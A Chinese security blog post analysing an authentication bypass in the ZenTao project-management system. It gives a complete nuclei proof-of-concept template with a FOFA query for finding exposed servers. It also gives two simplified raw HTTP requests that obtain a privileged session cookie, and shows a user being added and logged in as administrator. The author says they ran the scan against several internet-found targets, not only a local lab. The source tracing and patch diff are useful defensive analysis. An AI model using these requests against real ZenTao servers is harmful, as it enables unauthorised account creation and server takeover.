禅道项目管理系统身份认证绕过漏洞

2024-06-01 363 0

漏洞介绍

禅道项目管理软件是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,完整覆盖了研发项目管理的核心流程。

禅道项目管理系统存在身份认证绕过漏洞,远程攻击者利用该漏洞可以绕过身份认证,调用任意API接口并修改管理员用户的密码,以管理员用户登录该系统,能够完全接管服务器。

影响版本

16.x <= 禅道项目管理系统< 18.12(开源版)
6.x <= 禅道项目管理系统< 8.12(企业版)
3.x <= 禅道项目管理系统< 4.12(旗舰版)

POC

近期禅道PMS曝出一个身份绕过漏洞,并且已经有poc公开,poc如下:

id: easycorp-zentao-pms-idor

info:
  name: 禅道项目管理系统身份认证绕过漏洞
  author: GuoRong_X
  severity: critical
  description: |
    - 禅道系统某些API设计为通过特定的鉴权函数进行验证,但在实际实现中,这个鉴权函数在鉴权失败后并不中断请求,而是仅返回一个错误标志,这个返回值在后续没有被适当处理。此外,该系统在处理某些API时未能有效检查用户身份,允许未认证的用户执行某些操作,从而绕过鉴权机制。
  reference:
    - https://mp.weixin.qq.com/s/hiGI_fQmXOHdkPqn6x00Jw
  metadata:
    verified: true
    fofa-query: title="用户登录- 禅道"
  tags: zentao

http:
  - method: GET
    path:
      - "{{BaseURL}}/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - 'Set-Cookie: zentaosid='

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200b7a7caf457a9e566160cfdc539a99325db1513d5e4172a9a0a66f2f44e63022100fe0cc4ffd848c733eba3240bf102695253caa1420845a2b8aec5ca731e394759:58d4ffcb61df0489d6ab2fd018c17de6

检测逻辑是,通过向目标url发送一个GET请求,如果响应码为200,并且header中包含set-cookie: zentaosid=,即存在漏洞。

通过fofa找到几个目标,用nuclei扫描后手动尝试。先看看抓取的报文:
禅道项目管理系统身份认证绕过漏洞插图
在response中确实带了zentaosid。

把cookie加到请求header中:
禅道项目管理系统身份认证绕过漏洞插图1
而不带cookie时,响应如下:
禅道项目管理系统身份认证绕过漏洞插图2
由此可以判断,应该是利用成功了。

而在提取攻击特征时,测试了几个不同的ip,发现对于参数m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized:
禅道项目管理系统身份认证绕过漏洞插图3
因此通过控制变量的方式似乎无法确定触发漏洞的点。

下面通过本地搭建环境,结合上源码来分析一下该漏洞的成因。

环境搭建

这里使用的是linux一键安装包,版本为18.11,在本地kali中搭建。

下载地址如下:

禅道18.11发布啦,内置12种AI小程序,全面兼容常用语言模型 - 禅道下载 - 禅道开源项目管理软件 (zentao.net)

下载到/opt目录下,解压:

tar zxvf ZenTaoPMS-18.11-zbox_amd64.tar.gz
禅道项目管理系统身份认证绕过漏洞插图4
/opt/zbox/zbox start即可开启全部服务:
禅道项目管理系统身份认证绕过漏洞插图5
输入ip:port,选择开源版本即可:
禅道项目管理系统身份认证绕过漏洞插图6

漏洞复现

获取cookie

禅道项目管理系统身份认证绕过漏洞插图7

添加用户

把cookie加到请求头中,添加用户,ry4n/123456abc..
禅道项目管理系统身份认证绕过漏洞插图8
虽然返回403,但是已经成功添加

验证

用admin账户到后台查看:
禅道项目管理系统身份认证绕过漏洞插图9
已经多了ry4n用户。

尝试登录:
禅道项目管理系统身份认证绕过漏洞插图10
成功登录。

至此,成功绕过了身份验证,并且添加了用户,能够直接登录后台。

漏洞成因

poc分析

这里部署的版本为18.11.

主要的commit是在:
禅道项目管理系统身份认证绕过漏洞插图11
主要的改动在www/api.php,module/common/model.php,framework/base/router.class.php和framework/api/entry.class.php文件中。

一键部署的情况下,源码在/opt/zbox/app/zentao目录。
禅道项目管理系统身份认证绕过漏洞插图12
在获取cookie时,是通过一个GET请求,访问api.php,重点看一下api.php。

在differ中的修改如下:
禅道项目管理系统身份认证绕过漏洞插图13
删除$common->checkEntry();,改成了if(!$app->version) $common->checkEntry();

直接访问/api.php:
禅道项目管理系统身份认证绕过漏洞插图14
报错EMPTY_ENTRY.直接到代码中搜索该字符串:
禅道项目管理系统身份认证绕过漏洞插图15
定位到module/common/model.php中的checkEntry方法,并且可以判断出$this->app->version是false,走到了Old version这个分支。

打印一下$this->app->version,为一个空字符串,bool类型为false。

api.php中,第37行调用了该函数,从调试结果也可以看到同样的结果:
禅道项目管理系统身份认证绕过漏洞插图16
检查到空入口,代码到此终止。

接下来直接访问触发漏洞的url:

http://192.168.122.111/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu
禅道项目管理系统身份认证绕过漏洞插图17
这里是有一个报错,Call to undefined method helper::end() in /opt/zbox/app/zentao/module/common/model.php:454,是在deny()方法中,但是仍然能够利用成功。

就从这个调用栈入手:

  • www/api.php(49): api->loadModule()

  • framework/api/router.class.php(200): router->loadModule()

  • framework/router.class.php(716): baseRouter->loadModule()

  • framework/base/router.class.php(2319): testcase->saveXmindImport()

  • module/testcase/control.php(3163): commonModel->deny('testcase', 'importXmind')

deny()是被module/testcase/control.php中的saveXmindImport方法调用:
禅道项目管理系统身份认证绕过漏洞插图18
而saveXmindImport()方法,是在framework/api/router.class.php中的loadModule方法中,通过call_user_func_array()来调用:
禅道项目管理系统身份认证绕过漏洞插图19
调试打印出有关参数:
禅道项目管理系统身份认证绕过漏洞插图20
可以看到调用了savexmindimport方法,并且没有传入参数。

在call方法前直接die,无法利用成功:
禅道项目管理系统身份认证绕过漏洞插图21
因此问题应该就出在call方法调用之后。

if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');在if判断中,进入到了deny方法,因此commonModel::hasPriv("testcase", "importXmind")的返回值应该为false。

直接在deny开头加上die:
禅道项目管理系统身份认证绕过漏洞插图22
此时依然能够获取cookie,但是将cookie带入后,无法利用成功。

下面跟进deny中查看,整体的逻辑如下:

首先尝试重新加载用户的权限信息,如果用户仍然没有权限访问指定的模块和方法,则将用户重定向到一个权限拒绝的页面。

把$user打印出来看一下:
禅道项目管理系统身份认证绕过漏洞插图23
在权限重新加载之后,$user没有变化。通过die方法进行尝试,当die在$this->session->set('user', $user);之前时,获取到的cookie无效,如果在set之后,即可进行权限绕过:
禅道项目管理系统身份认证绕过漏洞插图24
修改代码,将后续的代码全部忽略,并且通过反射找到set()方法:
禅道项目管理系统身份认证绕过漏洞插图25
禅道项目管理系统身份认证绕过漏洞插图26
去对应的文件里找set方法,代码如下:
禅道项目管理系统身份认证绕过漏洞插图27
看看set方法的调用栈,并且打印出key和对应的value:
禅道项目管理系统身份认证绕过漏洞插图28
返回的结果如下:

enter set method:
#0  super->set(company, stdClass Object ([id] => 1,[name] => 禅道软件,[phone] => ,[fax] => ,[address] => ,[zipcode] => ,[website] => ,[backyard] => ,[guest] => 0,[admins] => ,admin,,[deleted] => 0)) called at [/opt/zbox/app/zentao/module/common/model.php:261]
#1  commonModel->setCompany() called at [/opt/zbox/app/zentao/module/common/model.php:29]
#2  commonModel->__construct() called at [/opt/zbox/app/zentao/framework/base/router.class.php:1490]
#3  baseRouter->loadCommon() called at [/opt/zbox/app/zentao/www/api.php:34]
**string(7) "company"
**object(stdClass)#483 (11) {
  ["id"]=>
  int(1)
  ["name"]=>
  string(12) "禅道软件"
  ["phone"]=>
  string(0) ""
  ["fax"]=>
  string(0) ""
  ["address"]=>
  string(0) ""
  ["zipcode"]=>
  string(0) ""
  ["website"]=>
  string(0) ""
  ["backyard"]=>
  string(0) ""
  ["guest"]=>
  string(1) "0"
  ["admins"]=>
  string(7) ",admin,"
  ["deleted"]=>
  string(1) "0"
}
**array(1) {
  ["company"]=>
  object(stdClass)#483 (11) {
    ["id"]=>
    int(1)
    ["name"]=>
    string(12) "禅道软件"
    ["phone"]=>
    string(0) ""
    ["fax"]=>
    string(0) ""
    ["address"]=>
    string(0) ""
    ["zipcode"]=>
    string(0) ""
    ["website"]=>
    string(0) ""
    ["backyard"]=>
    string(0) ""
    ["guest"]=>
    string(1) "0"
    ["admins"]=>
    string(7) ",admin,"
    ["deleted"]=>
    string(1) "0"
  }
}


enter set method:
#0  super->set(user, stdClass Object ([rights] => ,[groups] => Array (),[admin] => )) called at [/opt/zbox/app/zentao/module/common/model.php:431]
#1  commonModel->deny(testcase, importXmind) called at [/opt/zbox/app/zentao/module/testcase/control.php:3163]
#2  testcase->saveXmindImport() called at [/opt/zbox/app/zentao/framework/base/router.class.php:2319]
#3  baseRouter->loadModule() called at [/opt/zbox/app/zentao/framework/router.class.php:716]
#4  router->loadModule() called at [/opt/zbox/app/zentao/framework/api/router.class.php:200]
#5  api->loadModule() called at [/opt/zbox/app/zentao/www/api.php:49]
**string(4) "user"
**object(stdClass)#672 (3) {
  ["rights"]=>
  bool(false)
  ["groups"]=>
  array(0) {
  }
  ["admin"]=>
  bool(false)
}
**array(2) {
  ["company"]=>
  object(stdClass)#483 (11) {
    ["id"]=>
    int(1)
    ["name"]=>
    string(12) "禅道软件"
    ["phone"]=>
    string(0) ""
    ["fax"]=>
    string(0) ""
    ["address"]=>
    string(0) ""
    ["zipcode"]=>
    string(0) ""
    ["website"]=>
    string(0) ""
    ["backyard"]=>
    string(0) ""
    ["guest"]=>
    string(1) "0"
    ["admins"]=>
    string(7) ",admin,"
    ["deleted"]=>
    string(1) "0"
  }
  ["user"]=>
  object(stdClass)#672 (3) {
    ["rights"]=>
    bool(false)
    ["groups"]=>
    array(0) {
    }
    ["admin"]=>
    bool(false)
  }
}

可以看到set方法有两次调用,流程大致如下 :
禅道项目管理系统身份认证绕过漏洞插图29
这里有两处调用了set方法。

第一处是loadCommon,在构造方法中,调用了setCompany方法,并且通过$this->session->set('company',$company),设置了company的内容。注意到在setCompany方法后,跟了一个setUser方法:
禅道项目管理系统身份认证绕过漏洞插图30
跟进去添加echo语句进行调试,发现if判断全部为false,没有执行:
禅道项目管理系统身份认证绕过漏洞插图31
很明显,重点在于第二处set的调用。

在api.php中,首先有$app->loadModule,跟到loadModule方法中,再调用父类方法,通过call_user_func_array调用saveXmindImport方法,if语句为true(if(!commonModel::hasPriv("testcase", "importXmind")) $this->loadModel('common')->deny('testcase', 'importXmind');),最终进到deny,调用set方法($this->session->set('user', $user);),设置了user,并且通过返回的cookie,即可进行未授权操作。

回到在漏洞复现时遇到的问题:

对于参数`m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=upkbbehwgfscwizoglpw&branch=zqbcsfncxlpopmrvchsu`,有些ip只需要前三个参数即可,而有些ip需要带上全部参数,否则会提示param_code_missing,虽然也有zentaosid,但是带入到请求头中之后,会发现响应401,unauthorized

目前已经明确的是,需要通过m=testcase&f=savexmindimport参数,来调用saveXmindImport方法,进而最终进入deny()->set(),而后面的HTTP_X_REQUESTED_WITH,productID和branch参数暂时未知,下面具体看看这些参数。

直接搜索HTTP_X_REQUESTED_WITH:
禅道项目管理系统身份认证绕过漏洞插图32
简单筛选之后,基本可以确认就是在isAjaxRequest方法中。

直接打印调用栈查看:

禅道项目管理系统身份认证绕过漏洞插图33

可以看到,首先是在api.php中,$app->loadModule(),进到setParams:
禅道项目管理系统身份认证绕过漏洞插图34
再到new $className():
禅道项目管理系统身份认证绕过漏洞插图35
这里创建了一个control类的实例,可以通过调试看到,className就是testcase,最终跟到testcase的construct:
禅道项目管理系统身份认证绕过漏洞插图36
跟前面提到的saveXmindImport相对应:
禅道项目管理系统身份认证绕过漏洞插图37
也就是说,在进入到saveXmindImport方法,执行deny之前,需要先进行实例化,而HTTP_X_REQUESTED_WITH参数就是在实例化的过程中,进行判断。
禅道项目管理系统身份认证绕过漏洞插图38
首先在外层的if语句中,!isonlybody为true,进入到内层逻辑,通过var_dump((bool))可以看到empty($products)为true,而整个if condition为false,因此不会执行return print(xxx):
禅道项目管理系统身份认证绕过漏洞插图39
如果if为true,执行了locate,就会跳转到"http://192.168.122.111/zentao/index.php?m=product&f=showErrorNone&t=json&moduleName=qa&activeMenu=testcase&objectID=0"也就是用户登录界面,至此,实例化失败,并且后续的saveXmindImport()->deny()也全部中断。

因此isAjaxRequest()必须为true,结合代码如下:
禅道项目管理系统身份认证绕过漏洞插图40

$isAjax = (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest') || (isset($_GET['HTTP_X_REQUESTED_WITH']) && $_GET['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest');

因此,||两边有一个为真即可,可以在url中添加HTTP_X_REQUESTED_WITH=XMLHttpRequest,也可以添加到请求头中.

新的利用方式

经过测试,两种方法均可利用成功:

GET /zentao/api.php?m=testcase&f=savexmindimport HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest HTTP/1.1
Host: 192.168.122.111
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close


综上,只需要testcase,savexmindimport和XMLHttpRequest参数满足即可,保证代码能够顺利实例化testcase的control,并且进入到deny,set添加user属性即可。

代码differ

下面针对补丁来进行分析。

身份验证绕过漏洞,要么是在给出cookie的时候出问题,要么是在拿到cookie之后,鉴权的时候出问题。

也就是如下两个url:

  • /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest

  • /zentao/api.php/v1/users

/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest

首先是/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest,在前面已经分析过,在checkEntry中,$this->app->version为false,因此本来也不会进入if语句进行判断,此处修改并没有改变执行逻辑:
禅道项目管理系统身份认证绕过漏洞插图41
下面是同一个文件中的checkNewEntry方法:
禅道项目管理系统身份认证绕过漏洞插图42
commit之后,直接删除了checkNewEntry方法,而该方法仅仅是在checkEntry中,当$this->app->version为true时,会进行调用:
禅道项目管理系统身份认证绕过漏洞插图43
此处改动也没有影响执行逻辑。

往下就到了startSession():
禅道项目管理系统身份认证绕过漏洞插图44
主要的改动是在if条件判断中,直接在代码中加入如下调试语句:
禅道项目管理系统身份认证绕过漏洞插图45
再次访问后结果如下:
禅道项目管理系统身份认证绕过漏洞插图46
(isset($_GET[$this->config->sessionVar]))和(isset($_SERVER['HTTP_TOKEN']))都为false,同样没有影响代码的执行逻辑。

最后一处commit在framework/api/entry.class.php中:
禅道项目管理系统身份认证绕过漏洞插图47
分别在__construct()和checkPriv()方法中加入类似下面的调试语句:
禅道项目管理系统身份认证绕过漏洞插图48
刷新之后并没有任何print,因此并没有调用这两个方法。

很明显,commit修改的部分,主要是在鉴权的阶段。

/zentao/api.php/v1/users

在访问/v1/users时,$this->app->version为v1,因此会进入到checkNewEntry中,并且返回false。

而startSession和checkPriv同上,暂时跳过。

最后就剩下构造方法:
禅道项目管理系统身份认证绕过漏洞插图49
存在漏洞的代码为:

if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

而修改之后的代码为:

if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));

在代码中加上var_dump((bool)xxx),刷新后查看:
禅道项目管理系统身份认证绕过漏洞插图50
可以看到,在漏洞修复之后,if条件语句的值由false变为了true,成功走到了throw EndResponseException::create($this->sendError(401, 'Unauthorized')),抛出异常,并且返回了401未授权。

将原先的代码注释掉,跑一遍修复后的代码:
禅道项目管理系统身份认证绕过漏洞插图51
401,unauthorized。

可见,问题就出在构造方法,在其中进行权限判断时出现了错误。

将$this->app->user打印出来:
禅道项目管理系统身份认证绕过漏洞插图52
user对象存在,所以!isset($this->app->user)为false,而user->account为NULL,$this->app->user->account == 'guest'也为false,导致整个condition为false,跳过了sendError。

而在修改之后,先检查了user->account是否存在,如果account不存在,或者account==guest,就抛出异常,终止程序。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论